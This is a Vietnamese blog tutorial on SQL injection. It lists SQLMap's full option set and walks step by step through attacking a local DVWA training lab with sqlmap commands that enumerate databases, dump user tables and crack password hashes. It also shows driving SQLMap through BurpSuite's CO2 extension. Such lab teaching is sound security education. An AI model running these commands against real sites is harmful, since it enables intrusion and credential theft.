Web và SQL Injection

I. Giới thiệu về lỗ hổng Web và SQL Injection 1. Sự phát triển và lợi ích của Web 2. Giới thiệu về lỗ hổng Web II. Khai thác lỗi SQL Injecti...

I. Giới thiệu về lỗ hổng Web và SQL Injection1. Sự phát triển và lợi ích của Web

2. Giới thiệu về lỗ hổng Web
II. Khai thác lỗi SQL Injection với SQLMap
1. Giới thiệu về SQLMap

2. Cài đặt SQLMap
[INDENT=2]a. Cài đặt SQLMap trên Windows XP/7/8
b. Cài đặt SQLMap trên Linux

[/INDENT]

3. Hướng dẫn sử dụng SQLMap để khai thác lỗi SQL
[INDENT=2]
a. Tạo bài Lab với DVWA.
b. Hướng dẫn sử dụng SQLMap để tấn công DVWA
c. Đơn giản việc sử dụng SQLMap với BurpSuite + CO2[/INDENT]

I. Giới thiệu về lỗ hổng Web và SQL Injection

1. Sự phát triển và lợi ích của Web


Trong những ngày đầu trong sự phát triển của Internet, Wordl Wide Web chỉ bao gổm các website. Nó đơn giản chỉ là nguồn lưu trữ các dữ liệu tĩnh (chủ yếu là văn bản dạng text). Và nhiệm vụ của một trình duyệt web đơn giản chỉ là việc yêu cầu và hiển thị các dữ liệu tĩnh này. Ngày nay, World Wide Web không chỉ đơn thuần là lưu trữ các dữ liệu tĩnh nữa, thay vào đó là rất nhiều các chức năng đa dạng hơn (ví dụ: tìm kiếm, giao dịch tài chính, đăng ký và đăng nhập...) Có thể nói, với thế giới của World Wide Web chúng ta có thể làm mọi thứ phục vụ cho cuộc sống của con người. Chính nhờ những lợi ích tuyệt vời này, mà ngày càng có nhiều doanh nghiệp ưu tiên việc áp dụng các ứng dụng web vào việc quản lý, tổ chức và phát triển của doanh nghiệp. Song, bên cạnh những lơi ích này, khi triển khai việc áp dụng công nghệ web vào doanh nghiệp cũng đặt ra một vấn đề lớn cho doanh nghiệp đó là vấn đề bảo mật.

2. Giới thiệu về lỗ hổng Web


Trong thực tế, có khá nhiều ứng dụng web không an toàn và phải đối mặt với việc bị khai thác. Dưới đây là một số thống kê về số lượng các lỗ hổng trên ứng dụng web được tìm ra trong giai đoạn 1996-2013, được thống kê bởi IBM.

Click image for larger version  Name:	1.png Views:	8 Size:	86,1 KB ID:	52492


Lỗ hổng trên ứng dụng web có thể được chia thành hai phần chính:

• Lỗ hổng trên server: có thể kể tới như lỗ hổng liên quan tới việc xác thực người dùng, lỗ hổng liên quan tới việc quản lý phiên (sesion), lỗ hổng liên quan tới cơ sở dữ liệu....
• Lỗ hổng trên client: có thể kể tới như Cross-site Scripting, On-site Request Forgery....
3. SQL Injection

Một thực tế rằng, gần như tất cả các ứng dụng đều dựa trên việc lưu trữ dữ liệu để quản lý dữ liệu mà nó được xử lý trong một ứng dụng. Trong rất nhiều trường hợp, dữ liệu này có thể là một logic hạt nhân ứng dụng mà nó bao gồm tài khoản người dùng, thiết lập quyền, thiết lập cấu hình ứng dụng...Lưu trữ dữ liệu đã trở nên linh hoạt hơn bằng việc tổ chức dữ liệu trong một định dạng cấu trúc, truy cập bằng cách sử dụng các định dạng truy vấn đã được xác định trước cho từng loại cơ sở dữ liệu, cũng như việc quản lý các dữ liệu này.

Thông thường, ứng dụng sử dụng một cấp độ đặc quyền chung cho tất cả các loại của việc try cập tới lưu trữ dữ liệu cũng như việc xử lý dữ liệu trên các ứng dụng người dùng khác nhau. Nếu kẻ tấn công có thể tác động tới tương tác của ứng dụng với lưu trữ dữ liệu, để ăn cắp hoặc sửa đổi các dữ liệu khác nhau, kẻ tấn công thường vượt qua tất cả cơ chế kiểm soát đối với việc truy cập dữ liệu mà được áp dụng ở tầng ứng dụng.

Hầu hết các ứng dụng web dùng một cơ sở dữ liệu để lưu trữ các thông tin khác nhau mà nó cần để hoạt động. Ví dụ, một ứng dụng web được triển khai bởi một nhà bán lẻ trực tuyến có thể sử dụng một cơ sở dữ liệu để lưu trữ các thông tin như: tài khoản người dùng, danh tính, thông tin các nhân; mô tả và giá của các mặt hàng, thông tin oders, thông tin thanh toán... Việc truy cập thông tin bên trong một cơ sở dữ liệu gọi là Structured Query Language (SQL). SQL được sử dụng để đọc, cập nhật, thêm, và xóa thông tin được tổ chức bên trong cơ sở dữ liệu. SQL là một ngôn ngữ được biên dịch và các ứng dụng web thường xây dựng các câu lệnh SQL mà nó kết hợp với dữ liệu người dùng cung cấp. Nếu điều này được thực hiện một cách không an toàn, các ứng dụng có thể bị SQL injection. Lỗi này là một trong những lỗi trong ứng dụng web nổi tiếng nhất đã ảnh hưởng tới các ứng dụng web. Trong trường hợp nghiêm trọng, SQL injection có thể cho phép kẻ tấn công có thể đọc và thay đổi tất cả dữ liệu được lưu trữ bên trong cơ cở dữ liệu, thâm chí kiểm soát máy chủ mà cơ sở dữ liệu này đang chạy. Hãy thử tưởng tượng, nếu một websites bán hàng trực tuyến, mà kẻ tấn công có thể thay đổi giá của mỗi sản phẩm, hoặc xóa một số mặt hàng trên website thì điều gì sẽ xảy ra? Để thấy được sự nguy hiểm của SQL Injection, các bạn có thể nhìn biểu đồ dưới đây:
Click image for larger version  Name:	1.png Views:	8 Size:	92,7 KB ID:	52494



Đây là thống kê 10 lỗ hổng nguy hiểm nhất của ứng dựng web được báo cáo hàng năm bởi owasp.

Nguyên nhân do đâu mà sinh ra SQL Injection:

Các nhà phát triển ứng dụng không thực hiện việc kiểm tra đầu vào khi người dùng đệ trình dữ liệu => Dữ liệu đầu vào của người dùng là một câu lệnh truy vấn của SQL =>Dẫn tới việc dữ liệu này sẽ tương tác với cơ sở dữ liệu và hiển thị những thông tin quan trọng.

II. Khai thác lỗi SQL Injection với SQLMap1. Giới thiệu về SQLMap


Hiện nay, có rất nhiều các công cụ được phát hành cho việc tìm kiếm cũng như khai thác lỗi SQL cả miễn phí và tính phí. Các phần mềm tính phí như: Havij SQL Injection, IBM Security AppScan, Acunetix Web Vulnerablitily Scanner,,,,, các phần miễn phí như sqlninja, sqlmap ... Với các phiên bản tính phí, không phải ai trong số chúng ta cũng có thể bỏ tiền ra để mua một trong số các phần mềm trên để học và tìm hiểu còn các phiên bản miễn phí thì lại không hỗ trợ đầy đủ các tính năng quan trọng trong việc khai thác và tìm lỗi. Hình dưới đây là một so sánh nhỏ giữa một phiên bản miễn phí và trả phí của Havij.
Click image for larger version  Name:	2.png Views:	8 Size:	161,1 KB ID:	52496



Có thể thấy, phiên bản miễn phí giới hạn khá nhiều tính năng quan trọng. Nhưng thật may mắn, có một công cụ mặc dù miễn phí nhưng hỗ trợ đầy đủ tất cả các tính năng liên quan tới việc khai thác lỗ hổng SQL đó chính là SQLMap.
Click image for larger version  Name:	3.png Views:	8 Size:	574,5 KB ID:	52498



Vậy SQLMap là gì?

SQLMap là một công cụ mã nguồn mở và hoàn toàn miễn phí được sử dụng để phát hiện và khai thác lỗi SQL Injection. Nó Có rất nhiều chức năng cho việc tự động các quá trình phát hiện và khai thác (firgerprinting cơ sở dữ liệu, truy cập file hệ thống, thực hiện lệnh...). Tác giả của SQLMap là Bernardo Damele Assumpcao Guimaraes.
Giao diện chính khi sử dụng SQLMap là thao tác dòng lệnh. Để hiển thị tất cả các tùy chọn trong SQLMap bạn có thể dùng lệnh:

Sqlmap –h

Dưới đây là danh sách đầy đủ các tùy chọn trong SQLMap:

Options:

• –version show program’s version number and exit
• -h, –help show this help message and exit
• -v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be specified to set the source to get target urls from
• -d DIRECT Direct connection to the database
• -u URL, –url=URL Target URL
• -l LOGFILE Parse targets from Burp or WebScarab proxy logs
• -m BULKFILE Scan multiple targets enlisted in a given textual file
• -r REQUESTFILE Load HTTP request from a file
• -g GOOGLEDORK Process Google dork results as target URLs
• -c CONFIGFILE Load options from a configuration INI file

Request:

These options can be used to specify how to connect to the target URL.

• –data=DATA Data string to be sent through POST
• –param-del=PDEL Character used for splitting parameter values
• –cookie=COOKIE HTTP Cookie header
• –load-cookies=LOC File containing cookies in Netscape/wget format
• –cookie-urlencode URL Encode generated cookie injections
• –drop-set-cookie Ignore Set-Cookie header from response
• –user-agent=AGENT HTTP User-Agent header
• –random-agent Use randomly selected HTTP User-Agent header
• –randomize=RPARAM Randomly change value for given parameter(s)
• –force-ssl Force usage of SSL/HTTPS requests
• –host=HOST HTTP Host header
• –referer=REFERER HTTP Referer header
• –headers=HEADERS Extra headers (e.g. “Accept-Language: frnETag: 123″)
• –auth-type=ATYPE HTTP authentication type (Basic, Digest or NTLM)
• –auth-cred=ACRED HTTP authentication credentials (nameassword)
• –auth-cert=ACERT HTTP authentication certificate (key_file,cert_file)
• –proxy=PROXY Use a HTTP proxy to connect to the target url
• –proxy-cred=PCRED HTTP proxy authentication credentials (nameassword)
• –ignore-proxy Ignore system default HTTP proxy
• –delay=DELAY Delay in seconds between each HTTP request
• –timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
• –retries=RETRIES Retries when the connection timeouts (default 3)
• –scope=SCOPE Regexp to filter targets from provided proxy log
• –safe-url=SAFURL Url address to visit frequently during testing
• –safe-freq=SAFREQ Test requests between two visits to a given safe url
• –skip-urlencode Skip URL encoding of POST data
• –eval=EVALCODE Evaluate provided Python code before the request (e.g.
o “import hashlib;id2=hashlib.md5(id).hexdigest()”)

Optimization:

These options can be used to optimize the performance of SQLmap.

• -o Turn on all optimization switches
• –predict-output Predict common queries output
• –keep-alive Use persistent HTTP(s) connections
• –null-connection Retrieve page length without actual HTTP response body
• –threads=THREADS Max number of concurrent HTTP(s) requests (default 1)

Injection:

These options can be used to specify which parameters to test for,and provide custom injection payloads and optional tampering scripts

• -p TESTPARAMETER Testable parameter(s)
• –dbms=DBMS Force back-end DBMS to this value
• –os=OS Force back-end DBMS operating system to this value
• –invalid-bignum Use big numbers for invalidating values
• –invalid-logical Use logical operations for invalidating values
• –no-cast Turn off payload casting mechanism
• –prefix=PREFIX Injection payload prefix string
• –suffix=SUFFIX Injection payload suffix string
• –skip=SKIP Skip testing for given parameter(s)
• –tamper=TAMPER Use given script(s) for tampering injection data

Detection:

These options can be used to specify how to parse and compare page content from HTTP responses when using the blind SQL injection technique.
• –level=LEVEL Level of tests to perform (1-5, default 1)
• –risk=RISK Risk of tests to perform (0-3, default 1)
• –string=STRING String to match in the response when query is valid
• –regexp=REGEXP Regexp to match in the response when query is valid
• –code=CODE HTTP response code to match when the query is valid
• –text-only Compare pages based only on the textual content
• –titles Compare pages based only on their titles

Techniques:

These options can be used to tweak testing of specific SQL injection techniques.
• –technique=TECH SQL injection techniques to test for (default “BEUST”)
• –time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
• –union-cols=UCOLS Range of columns to test for UNION query SQL injection
• –union-char=UCHAR Character to use for bruteforcing number of columns
• –dns-domain=DNAME Domain name used for DNS exfiltration attack

Fingerprint:

• –f, –fingerprint Perform an extensive DBMS version fingerprint
Enumeration:
These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements.
• -b, –banner Retrieve DBMS banner
• –current-user Retrieve DBMS current user
• –current-db Retrieve DBMS current database
• –is-dba Detect if the DBMS current user is DBA
• –users Enumerate DBMS users
• –passwords Enumerate DBMS users password hashes
• –privileges Enumerate DBMS users privileges
• –roles Enumerate DBMS users roles
• –dbs Enumerate DBMS databases
• –tables Enumerate DBMS database tables
• –columns Enumerate DBMS database table columns
• –schema Enumerate DBMS schema
• –count Retrieve number of entries for table(s)
• –dump Dump DBMS database table entries
• –dump-all Dump all DBMS databases tables entries
• –search Search column(s), table(s) and/or database name(s)
• -D DB DBMS database to enumerate
• -T TBL DBMS database table to enumerate
• -C COL DBMS database table column to enumerate
• -U USER DBMS user to enumerate
• –exclude-sysdbs Exclude DBMS system databases when enumerating tables
• –start=LIMITSTART First query output entry to retrieve
• –stop=LIMITSTOP Last query output entry to retrieve
• –first=FIRSTCHAR First query output word character to retrieve
• –last=LASTCHAR Last query output word character to retrieve
• –sql-query=QUERY SQL statement to be executed
• –sql-shell Prompt for an interactive SQL shell

Brute force:

These options can be used to run brute force checks.

• –common-tables Check existence of common tables
• –common-columns Check existence of common columns
User-defined function injection:
These options can be used to create custom user-defined functions
• –udf-inject Inject custom user-defined functions
• –shared-lib=SHLIB Local path of the shared library

File system access:

These options can be used to access the back-end database management system underlying file system.

• –file-read=RFILE Read a file from the back-end DBMS file system
• –file-write=WFILE Write a local file on the back-end DBMS file system
• –file-dest=DFILE Back-end DBMS absolute filepath to write to

Operating system access:

These options can be used to access the back-end database management system and underlying operating system.

• –os-cmd=OSCMD Execute an operating system command
• –os-shell Prompt for an interactive operating system shell
• –os-pwn Prompt for an out-of-band shell, meterpreter or VNC
• –os-smbrelay One click prompt for an OOB shell, meterpreter or VNC
• –os-bof Stored procedure buffer overflow exploitation
• –priv-esc Database process’ user privilege escalation
• –msf-path=MSFPATH Local path where Metasploit Framework is installed
• –tmp-path=TMPPATH Remote absolute path of temporary files directory

Windows registry access:

These options can be used to access the back-end database management system Windows registry.

• –reg-read Read a Windows registry key value
• –reg-add Write a Windows registry key value data
• –reg-del Delete a Windows registry key value
• –reg-key=REGKEY Windows registry key
• –reg-value=REGVAL Windows registry key value
• –reg-data=REGDATA Windows registry key value data
• –reg-type=REGTYPE Windows registry key value type

General:

These options can be used to set some general working parameters.

• -t TRAFFICFILE Log all HTTP traffic into a textual file
• –batch Never ask for user input, use the default behaviour
• –charset=CHARSET Force character encoding used for data retrieval
• –check-tor Check to see if Tor is used properly
• –crawl=CRAWLDEPTH Crawl the website starting from the target url
• –csv-del=CSVDEL Delimiting character used in CSV output (default “,”)
• –eta Display for each output the estimated time of arrival
• –flush-session Flush session file for current target
• –forms Parse and test forms on target url
• –fresh-queries Ignores query results stored in session file
• –hex Uses DBMS hex function(s) for data retrieval
• –parse-errors Parse and display DBMS error messages from responses
• –replicate Replicate dumped data into a sqlite3 database
• –save Save options to a configuration INI file
• –tor Use Tor anonymity network
• –tor-port=TORPORT Set Tor proxy port other than default
• –tor-type=TORTYPE Set Tor proxy type (HTTP – default, SOCKS4 or SOCKS5)
• –update Update sqlmap

Miscellaneous:

• -z MNEMONICS Use short mnemonics (e.g. “flu,bat,ban,tec=EU”)
• –beep Sound alert when SQL injection found
• –check-payload Offline WAF/IPS/IDS payload detection testing
• –check-waf Check for existence of WAF/IPS/IDS protection
• –cleanup Clean up the DBMS by sqlmap specific UDF and tables
• –dependencies Check for missing sqlmap dependencies
• –disable-hash Disable password hash cracking mechanism
• –disable-like Disable LIKE search of identificator names
• –gpage=GOOGLEPAGE Use Google dork results from specified page number
• –mobile Imitate smartphone through HTTP User-Agent header
• –page-rank Display page rank (PR) for Google dork results
• –purge-output Safely remove all content from output directory
• –smart Conduct through tests only if positive heuristic(s)
• –test-filter=TSTF Select tests by payloads and/or titles (e.g. ROW)
• –wizard Simple wizard interface for beginner users
•[*] shutting down at 17:46:04

2. Cài đặt SQLMap

a. Cài đặt SQLMap trên Windows XP/7/8


Bước 1: Tải file cài đặt python2.7 và sqlmap
Bước 2: Tiến hành cài đặt python
Mở file python2.7 setup và chọn “Install for all user” sau đó click Next
Click image for larger version  Name:	4.png Views:	8 Size:	156,2 KB ID:	52500



Chọn nơi cài đặt (Mặc định là C:\Python27), sau đó click Next
Click image for larger version  Name:	5.png Views:	8 Size:	153,2 KB ID:	52502



Click Next
Click image for larger version  Name:	6.png Views:	8 Size:	238,5 KB ID:	52504



Click Finish
Click image for larger version  Name:	image012.jpg Views:	9 Size:	37,9 KB ID:	52506



Bước 3: Giải nén file sqlmap vừa tải sau đó copy toàn bộ thư mục sqlmap vào đường dẫn C:\Python27
Click image for larger version  Name:	image013.jpg Views:	9 Size:	79,5 KB ID:	52508



Bây giờ, mở cmd và điều hướng tới thư mục vừa lưu sqlmap
Click image for larger version  Name:	image015.jpg Views:	9 Size:	30,4 KB ID:	52510



Tất cả đã hoàn thành, bây giờ có thể sử dụng sqlmap.
Click image for larger version  Name:	image016.jpg Views:	9 Size:	64,3 KB ID:	52516


b. Cài đặt SQLMap trên Linux


Trên Linux, do Python được cài đặt sẵn, vậy nên để sử dụng SQLMap bạn chỉ cần làm bước 3 như trong hướng dẫn với Windows là có thể sử dụng được. Đặc biệt một số phiên bản phân phối của Linux như Kali Linux, BlackBox... đã tích hợp sẵn SQLMap.

3. Hướng dẫn sử dụng SQLMap để khai thác lỗi SQL

a. Tạo bài Lab với DVWA.


Damn Vulnerable Web App (DVWA) là một ứng dụng web PHP/MySQL mà có khả năng bị tổn thương. Mục đích chính của DVWA là hỗ trợ cho các học viên, các chuyên gia trong lĩnh vực anh ninh mạng để kiểm tra cũng như nâng cao kỹ năng của họ, và giúp cho các nhà phát triển web hiểu hơn về quá trình của bảo mật ứng dụng web.

Video dưới đây sẽ hướng dẫn việc cài đặt DVWA trên Kali Linux cho mục đích thực hành.



Với Windows, các bạn có thể sử dụng XAMPP cho cài đặt DVWA.

b. Hướng dẫn sử dụng SQLMap để tấn công DVWA


Yêu cầu:
• DVWA
• Tamper data
• Bất kỳ một hệ điều hành đã cài đặt SQLMap (Trong trường hợp này là Kali Linux)
Mục tiêu:
• Thống kê username và password trong MYSQL
• Thống kê tất cả các cơ sở dữ liệu
• Thống kê tất cả các tables của các cơ sở dữ liệu
• Thống kê tất cả username và password của một tables
Các bước thực hiện
Bước 1: Mở trình duyệt và truy cập vào DVWA, sau đó cho cấp độ bảo mật là “low”
Click image for larger version  Name:	image019.png Views:	8 Size:	36,2 KB ID:	52527



Bước 2: Chọn SQL Injection
Click image for larger version  Name:	image021.png Views:	8 Size:	34,5 KB ID:	52530



Bước 3: Khởi chạy addon Tamper data
Click image for larger version  Name:	image023.png Views:	8 Size:	36,1 KB ID:	52536



Bước 4: Click Start Tamper
Click image for larger version  Name:	image025.png Views:	8 Size:	28,4 KB ID:	52546



Bước 5: Quay trở lại trình duyệt, điền bất kỳ tham số nào (ở đây là 1), sau đó click Submit
Click image for larger version  Name:	image027.png Views:	8 Size:	34,6 KB ID:	52548



Khi đó, một hội thoại của addon Tamper data sẽ xuất hiện, bạn bỏ check tại dòng Continure Tampering?, sau đó click Submit
Click image for larger version  Name:	image029.png Views:	8 Size:	19,3 KB ID:	52555



Bước 6: Khi bạn nhìn vào addon Tamper data, bạn sẽ nhìn thấy các tham số và addon vừa chụp được. Bạn tìm tới dòng tương ứng với các tham số và bạn đã đệ trình ở trình duyệt web, sau đó, click chọn. Lúc này, bạn sẽ thấy chi tiết về yêu cầu bạn vừa thực hiện (vùng màu đỏ). Có hai tham số bạn cần quan tâm đó là: Referer và Cookie.
Click image for larger version  Name:	image030.png Views:	8 Size:	54,1 KB ID:	52560


Sau đó, bạn mở bất kỳ một phần mềm soản thảo nào để lưu lại các giá trị của hai tham số này.
Bước 7: Mở terminal và nhập lệnh sau:
sqlmap –u "http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=d1b8hqpf8vvhlbuehtce03dea5; security=low" –b –current-db –current-user
Trong đó:
• --cookie : để thiết lập giá trị của cookie, trong trường hợp này chúng ta có thể thay đổi low thành medium hoặc high
• -u: xác định URL mục tiêu
• -b: xác định DBMS banner
• --current-db: xác định cơ sở dữ liệu hiện thời
• --current-user: xác định user hiện thời
Click image for larger version  Name:	image032.png Views:	8 Size:	16,2 KB ID:	52567


Sau khi SQLMap hoàn thành, bạn sẽ nhận được kết quả như hình dưới:
Click image for larger version  Name:	image034.png Views:	16 Size:	69,9 KB ID:	52579



Như bạn có thể thấy được một số thông tin như:
• DBMS: MySQL 5.0
• Current user: root
• Current db: dvwa
Bước 8: Tiếp đến, chúng ta cần thống kê tất cả các hash của username và password của DBMS. Để thực hiện việc này, dùng lệnh:
sqlmap –u "http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=d1b8hqpf8vvhlbuehtce03dea5; security=low" –string=”Surname” --users –password
Trong đó:
• -string: tring để phù hợp với trang khi truy vấn khả dụng
• --users: thống kê DBMS users
• --password: thống kê DBMS user password hashes
Click image for larger version  Name:	image036.png Views:	8 Size:	16,9 KB ID:	52585



Sau khi SQLMap hoàn thành, bạn sẽ nhận được kết quả như hình dưới:
Click image for larger version  Name:	image038.png Views:	8 Size:	62,6 KB ID:	52591



Trong khi chạy, SQLMap sẽ đưa ra một số tùy chọn cho bạn:
• Bạn có muốn lưu giá trị hash cho việc xử lý sau không?
• Bạn có muốn thực hiện một từ điển tấn công để tìm giá trị hash không?
• Nếu bạn muốn thực hiện từ điển tấn công, SQLMap sẽ sử dụng từ điển mặc định ở trong đường dẫn /usr/share/sqlmap/txt/wordlist.zip . Nếu bạn không muốn sử dụng từ điển này, bạn có thể nhập đường dẫn tới từ điển tấn công khác. Sau đó bấm Enter.
Click image for larger version  Name:	image040.png Views:	8 Size:	67,3 KB ID:	52597



Sau khi quá trình crack hoàn thành, bạn sẽ nhận được kết quả như hình dưới đây:
Click image for larger version  Name:	image042.png Views:	8 Size:	60,3 KB ID:	52603



Bạn sẽ thấy:

Database management system users:

•[*] ”@’linux’
•[*] ”@’localhost’
•[*] ‘phpmyadmin’@’localhost’
•[*] ‘root’@’localhost’.....

Database management system users password hashes:

• [bn_drual] [1]:

Password hash: *782EDA8F823B4249943114CB04B49FA6AC3FBE
.......
Với các giá trị hash thu được này, bạn có thể sử dụng một số công cụ để crack như cain and able, john the ripper.

Bước 9: Tiếp theo, chúng ta thống kê tất cả các database DBMS, bằng cách dùng lệnh sau:
sqlmap –u "http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=d1b8hqpf8vvhlbuehtce03dea5; security=low" --dbs
Trong đó:
• --dbs: thống các databases DMBS
Click image for larger version  Name:	image044.png Views:	8 Size:	14,6 KB ID:	52609



Sau khi kết thúc, chúng ta sẽ thu được như hình dưới đây:
Click image for larger version  Name:	image046.png Views:	8 Size:	56,4 KB ID:	52615



Kết quả thu được:

Available database [14]:
•[*] bitnami_drupal7
•[*] bitnami_joomla
•[*] bitnami_moodle
•[*] bitnami_wordpress
• bWAPP
• cdcol
• dvwa
• forum
• infomation_schema
• mysql
• performance_schema
• phpmyadmin
• test

Bước 10 Tiếp đến, chúng ta cần thống kê về dvwa tables, bằng cách dùng lệnh sau:
sqlmap -u "http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=d1b8hqpf8vvhlbuehtce03dea5; security=low" -D dvwa –tables

Trong đó:

• -D: tên DBMS database để thống kê
• --tables: thống kê DBMS database tables
Click image for larger version  Name:	image048.png Views:	8 Size:	16,0 KB ID:	52621



Sau khi kết thúc, kết quả thu được như hình dưới đây:
Click image for larger version  Name:	image050.png Views:	8 Size:	58,5 KB ID:	52626



Chúng ta thu được kết quả về Database: dvwa
• [2 tables]
- guestbook
- users

Bước 11: Tiếp đến chúng ta cần thu thập thông tin về columns của user tables, bằng cách dùng lệnh:
sqlmap -u "http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=d1b8hqpf8vvhlbuehtce03dea5; security=low" -D dvwa –T users --columns
Trong đó:
• -T: DBMS database table để thống kê
• --columns: thống kê columns của DBMS database tables
Click image for larger version  Name:	image052.png Views:	8 Size:	16,8 KB ID:	52633



Kết quả thu được như hình dưới đây:
Click image for larger version  Name:	image054.png Views:	8 Size:	56,2 KB ID:	52638



Như chúng ta có thể thấy được thông tin về tables bao gồm các columns: user, avatar, first_name, last_name, password, user_id.
Bước 12: Cuối cùng, chúng ta cần thu lại tất cả các username và pasword của tables này, bằng các dùng lệnh:
sqlmap -u "http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=d1b8hqpf8vvhlbuehtce03dea5; security=low" -D dvwa –T users –C user,password –dump

Trong đó:

• -T: DBMS database table để thống kê
• -C: DBMS database table columns để thống kê
• --dump: dump các đối tượng trong DBMS database table
Click image for larger version  Name:	image056.png Views:	8 Size:	19,8 KB ID:	52644



Trong quá trình chạy, SQLMap hỏi chúng ta có crack password về dạng clear-text hay không. Bấm Enter để tiếp tục
Click image for larger version  Name:	image058.png Views:	8 Size:	80,0 KB ID:	52650



Sau khi hoàn thành, chúng ta thu được kết quả như hình:
Click image for larger version  Name:	image060.png Views:	8 Size:	69,8 KB ID:	52656



Như chúng ta đã thấy từ kết quả, SQLMap đã đưa ra cả username và password ở dạng hash và dạng clear-text.

Nhận xét:
Mặc dù SQLMap với đầy đủ tính năng như vậy nhưng với việc chỉ có thao tác dòng lệnh sẽ khiến cho những ai không quen với môi trường dòng lệnh sẽ cảm thấy khó để tìm hiểu công cụ này. Để khắc phục vấn đề này, câu trả lời sẽ là BurpSuite + CO2.

c. Đơn giản việc sử dụng SQLMap với BurpSuite + CO2


BurpSuite là một ứng dụng Java được sử dụng trong quá trình thử nghiệm thâm nhập (Penetration Testing).
CO2 là một tiện ích trong BurpSuite nhằm hỗ trợ trong quá trình thử nghiệm thâm nhập được đơn giản và nhanh hơn.
Để chạy BurpSuite trong Windows, chúng ta cần tải Java và cài đặt trên hệ thống. Sau đó tải BurpSuite
Trong hướng dẫn này, mình sử dụng BurpSuite trên Kali Linux.
Bước 1: Khở chạy BurpSuite bằng cách truy cập: Applications => Kali Linux => Top 10 Security Tools => burpsuite
Click image for larger version  Name:	image062.png Views:	8 Size:	50,8 KB ID:	52662



Bước 2: Tiến hành cài đặt tiện ích CO2, bằng cách chọn tab Extender => Bapp Store
Click image for larger version  Name:	image064.png Views:	8 Size:	67,5 KB ID:	52669



Sau khi cài đặt thành công, bạn sẽ thấy một tab CO2 xuất hiện
Click image for larger version  Name:	image066.png Views:	8 Size:	40,7 KB ID:	52675



Bước 3: Trong trình duyệt, bạn truy cập vào dvwa và thay đổi cấp độ bảo mật như hình dưới:
Click image for larger version  Name:	image068.png Views:	8 Size:	35,7 KB ID:	52680



Bước 4: Mở trình duyệt web Firefox, và thay đổi Connection Settings như hình dưới đây:
Click image for larger version  Name:	image070.png Views:	8 Size:	38,7 KB ID:	52687



Bước 5: Trong Burpsuite, thiết lập proxy như hình dưới:
Click image for larger version  Name:	image072.png Views:	8 Size:	28,0 KB ID:	52693



Bước 6: Trở lại trình duyệt web, truy cập dvwa và chọn SQL Injection (Blind)
Click image for larger version  Name:	image074.png Views:	8 Size:	34,7 KB ID:	52700



Bước 7: Nhập bất kỳ tham số vào ô User ID (trong trường hợp này mình nhập 1), sau đó click Submit
Click image for larger version  Name:	image076.png Views:	8 Size:	34,8 KB ID:	52707



Bước 8: Chuyển sang màn hình của Burpsuite, bạn sẽ nhìn thấy tất cả các yêu cầu tới dvwa từ trình duyệt đã được ghi lại.
Click image for larger version  Name:	image078.png Views:	8 Size:	48,4 KB ID:	52713



Bạn chọn dòng mà phù hợp với tham số bạn đã nhập trong trình duyệt, sau đó click chuột phải chọn Send to SQLMapper (Request)
Click image for larger version  Name:	image080.png Views:	8 Size:	52,9 KB ID:	52720



Bước 9: Bạn chọn tab Co2, lúc này bạn có thể nhìn thấy một giao diện bao gồm các tham số giống như các tham số của SQLMap. Bạn muốn thống kê các thông tin về cơ sở dữ liệu bạn chỉ cần đánh dấu vào các ô chứa thông tin tương ứng thì tại ô SQLMap Command sẽ tự động đưa ra lệnh phù hợp với yêu cầu của bạn. Sau đó bạn click chuột phải vào ô này và chọn Copy all.
Click image for larger version  Name:	image082.png Views:	8 Size:	43,9 KB ID:	52727



Bước 10: Bạn chỉ cần mở Terminal và nhập sqlmap sau đó dán tham số bạn vừa copy. Bạn sẽ nhận được như hình sau:
Click image for larger version  Name:	image084.png Views:	8 Size:	40,8 KB ID:	52734



Với tiện ích này, bạn sẽ có nhiều tùy chỉnh hơn cho việc tạo những truy vấn “độc hại” để có thể khám quá ra lỗi SQL Injection. Thông tin thêm các bạn có thể tham khảo video dưới đây về cách sử dụng các tùy chọn cao hơn của tiện ích này.




____________________________________________

Một số thông tin liên quan:

COMMENTS

Tên

.:: Connect Trojan ::.,111,.htaccess,2,0-day,3,2017,2,Add-on,16,Affiliate,1,Anotador,1,AutoIT,17,BackDoor,1,Bán Sách,13,banhangonline,1,Bảo Mật,173,Bất Động Sản Tại Tiền Giang,5,Bestsellers,13,Binder,1,blog,31,Blogger,4,Blogger Template,1,Botnet,3,Brute,1,Bug Bounty,1,Bypass,10,camera,1,ceh,1,Châu Tinh Trì,2,Checked,6,Chrome,21,Code,5,coin hive,1,Coin-Hive,2,CoinHive,1,Connect Trojan,342,Connect Trojan ::.,1,Cổ Tích,2,Crack,3,Crypto,5,CSRF,5,CSS,2,Cuộc Sống,1,Dau tu,8,DDoS,6,Designer,1,Dich vụ,1,DNS,4,Download,2,du-an,3,DVD LUMION Tiếng Việt của anh Dũng Già Pro,1,Đam Mỹ,1,điện,1,Đồ Họa,215,Đô Thị,16,e11.me,1,ebook,17,ebook free,295,eBook Phệ Hồn Nghịch Thiên,1,eBook Thịnh Thế Địch Phi,1,Encrypt,1,Encryption,1,epub,76,epub [Tiên hiệp],1,ET-Logger,1,exploit,23,Exploitation,1,Extractor,2,facebook,69,FireFox,15,Flood,2,Forensic,7,full prc,2,game,177,Gerador,3,Gerenciador,1,Get Root,3,GHDB,3,Giả Tưởng,1,giaitri,1,Google,15,H&Y Shop,2,Hacker,3,Hacking,16,Hacking and Security,6,Hacking Tools,36,Hành Động,3,He Thong Site Phim,25,Hijacking,6,Hình Sự,1,hivecoin.hive coin,1,Hỏi Xoáy Đáp Xoay Trên VTV3,1,HTML,1,Huyền Ảo,92,Hướng dẫn Internet cơ bản,1,IFTTT,703,Imgur,2,Infographic,1,Information Disclosure,1,Internet Explorer,3,IT News,39,J2TeaM,29,J2TeaM Tools,9,JavaScript,6,Javascript 